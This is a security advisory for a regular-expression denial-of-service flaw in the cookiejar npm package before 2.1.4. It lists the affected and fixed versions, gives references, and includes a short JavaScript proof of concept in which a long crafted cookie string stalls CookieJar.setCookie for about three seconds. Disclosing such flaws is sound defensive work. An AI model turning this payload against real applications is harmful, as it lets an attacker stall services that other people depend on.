GHSA-h452-7996-h45h
cookiejar Regular Expression Denial of Service via Cookie.parse function
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | cookiejar | < 2.1.4 | 2.1.4 |
| Maven | org.webjars.npm:cookiejar | <= 2.1.3 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
```
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
```
```
CookieJar.setCookie(): 2963.214399999939ms
```
References
External links from the advisory. They lead to third-party sites.
- https://nvd.nist.gov/vuln/detail/CVE-2022-25901
- https://github.com/bmeck/node-cookiejar/pull/39
- https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5
- https://github.com/bmeck/node-cookiejar
- https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73
- https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73
- https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html
- https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681
- https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984